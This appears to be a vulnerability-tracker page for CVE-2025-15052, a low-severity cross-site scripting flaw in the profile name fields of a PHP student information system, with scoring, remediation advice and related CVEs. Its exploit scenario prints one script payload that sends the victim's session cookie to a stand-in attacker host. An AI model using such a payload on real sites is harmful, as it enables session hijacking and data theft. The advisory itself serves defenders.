Skip to main content

Student Information System CVE-2025-15052

LOW
Cross-site Scripting (XSS) (CWE-79)
2025-12-24 cna@vuldb.com
2.0
CVSS 4.0 · Vendor: vuldb
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker creates or compromises user account
  2. Delivery
    Crafts XSS payload in firstname/lastname parameter
  3. Exploit
    Submits profile update via /profile.php
  4. Execution
    Victim receives link to modified profile
  5. Persist
    Victim clicks link and script executes in browser
  6. Impact
    Session cookie or sensitive data exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires: (1) Valid authenticated user account (PR:L) on the Student Information System; (2) Access to the /profile.php endpoint with permission to edit firstname or lastname fields; (3) A victim who views the attacker's profile or receives a malicious link to the victim's own profile with injected parameters (UI:P); (4) No Content Security Policy or output encoding protecting against script injection. The attack does NOT require administrative privileges, installation of malware, or system-level access. Exploitation is LIMITED by the authentication requirement (PR:L rules out unauthenticated remote attacks) and user interaction requirement (UI:P means a victim must click a link or voluntarily visit a page). If firstname/lastname fields are not user-editable (e.g., admin-only, auto-populated from LDAP), exploitation is blocked. Default installations with public user registration enabled are more vulnerable than those with restricted account creation.

Impact

Despite a low CVSS score of 2.0, multiple factors must be evaluated together. The CVSS:4.0 vector indicates network accessibility (AV:N) but mandates user authentication (PR:L - low privilege required) and user interaction (UI:P), significantly limiting exploitability. The integrity violation is limited (VI:L) rather than high-impact. EPSS assigns only 0.06% exploitation probability (percentile 18%), reflecting very low likelihood of widespread automated exploitation. However, publicly available exploit code exists (POC confirmed), and the attack surface is straightforward (unsanitized input in a common parameter). Real-world risk is LOW for organizations where: (1) user accounts are not widely distributed to untrusted parties, (2) profile editing is infrequently performed, or (3) phishing precedes exploitation. Risk is ELEVATED if (1) public user registration is enabled, (2) student-created accounts have profile editing rights, or (3) the application is deployed in environments with high-value social engineering targets. The gap between POC availability and low EPSS suggests targeted rather than mass exploitation. No conflicting signals detected between CVSS and EPSS - both align on low practical impact.

Exploit ScenarioDerived

An authenticated attacker (or social engineer inducing a legitimate user) submits a profile update with a malicious JavaScript payload embedded in the firstname parameter, such as firstname=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. When the victim or administrator views the attacker's profile, the injected script executes in their browser session, exfiltrating session cookies or performing actions on behalf of the victim. Publicly available POC code on GitHub demonstrates this attack vector.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 29, 2026

Cross-site scripting (XSS) via unsanitized firstname and lastname parameters in /profile.php of code-projects Student Information System 1.0 allows authenticated remote attackers with user interaction to inject malicious scripts affecting confidentiality. The vulnerability carries a low CVSS score (2.0) due to authentication and user interaction requirements, but publicly available exploit code exists and EPSS analysis assigns 0.06% exploitation probability, reflecting limited real-world attack likelihood despite public POC availability.

RemediationAI

No vendor-released patch identified at time of analysis. Primary mitigation is to upgrade to a patched version if available from the vendor; check https://code-projects.org/ for updates beyond version 1.0. If patching is not immediately possible, implement compensating controls: (1) Apply input validation to firstname and lastname parameters using a whitelist approach (alphanumeric and safe characters only); (2) Encode all user-supplied input with HTML entity encoding (e.g., htmlspecialchars() in PHP with ENT_QUOTES flag) before rendering in HTML context; (3) Implement Content Security Policy (CSP) headers (e.g., 'Content-Security-Policy: default-src self; script-src self') to restrict inline script execution; (4) Restrict profile editing functionality to administrators or validated trusted users only; (5) Apply web application firewall (WAF) rules to block common XSS payloads in firstname/lastname parameters. Trade-offs: whitelist validation may inconvenience users with non-ASCII names; CSP may break legitimate inline scripts; restricting profile editing reduces user autonomy.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is a reflected or stored XSS flaw in a PHP-based web application (CWE-79: Improper Neutralization of Input During Web Page Generation). The /profile.php endpoint accepts firstname and lastname parameters without proper input validation or output encoding. When user-supplied input is rendered in HTML context without sanitization, attackers can inject JavaScript payloads that execute in the victim's browser. The CPE identifier (cpe:2.3:a:fabian:student_information_system:1.0) confirms the affected product is the Fabian-developed Student Information System version 1.0, a web-based educational management platform written in PHP.

Know when Student Information System gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (vuldb) PRIMARY 2.0 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (vuldb) · only source for this CVE.

CVSS VectorVendor: vuldb

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

A vulnerability was detected in code-projects Student Information System 1.0. This vulnerability affects unknown code of the file /profile.php. Performing manipulation of the argument firstname/lastname results in cross site scripting. The attack is possible to be carried out remotely. The exploit is now public and may be used.

Threat Intelligence Overview

EPSS Score
0.1%
Top 82% exploitable
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

cpe:2.3:a:fabian:student_information_system:1.0:*:*:*:*:*:*:*
CVE-2023-5008 CRITICAL POC
9.8 Dec 08

Student Information System v1.0 is vulnerable to an unauthenticated SQL Injection vulnerability on the 'regno' parameter

CVE-2025-25948 CRITICAL POC
9.1 Mar 03

Incorrect access control in the component /rest/staffResource/create of Serosoft Solutions Pvt Ltd Academia Student Info

CVE-2023-5011 HIGH POC
8.8 Dec 20

Student Information System v1.0 is vulnerable to multiple Authenticated SQL Injection vulnerabilities. Rated high severi

CVE-2023-5010 HIGH POC
8.8 Dec 20

Student Information System v1.0 is vulnerable to multiple Authenticated SQL Injection vulnerabilities. Rated high severi

CVE-2023-5007 HIGH POC
8.8 Dec 20

Student Information System v1.0 is vulnerable to multiple Authenticated SQL Injection vulnerabilities. Rated high severi

CVE-2023-4122 HIGH POC
8.8 Dec 07

Student Information System v1.0 is vulnerable to an Insecure File Upload vulnerability on the 'photo' parameter of my-pr

CVE-2024-53636 MEDIUM POC
6.4 Apr 26

An arbitrary file upload vulnerability via writefile.php of Serosoft Academia Student Information System (SIS) EagleR-1.

CVE-2020-13278 MEDIUM POC
6.1 Aug 12

Reflected Cross-Site Scripting vulnerability in Modules.php in RosarioSIS Student Information System < 6.5.1 allows remo

CVE-2022-2797 CRITICAL
9.8 Aug 12

A vulnerability classified as critical was found in SourceCodester Student Information System. Rated critical severity (

CVE-2025-15053 MEDIUM POC
5.5 Dec 24

SQL injection in code-projects Student Information System 1.0's search functionality enables remote, unauthenticated att

CVE-2025-13242 MEDIUM POC
5.5 Nov 16

A vulnerability has been found in code-projects Student Information System 2.0.php. Rated medium severity (CVSS 6.9), th

CVE-2025-13241 MEDIUM POC
5.5 Nov 16

A flaw has been found in code-projects Student Information System 2.0. Rated medium severity (CVSS 6.9), this vulnerabil

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy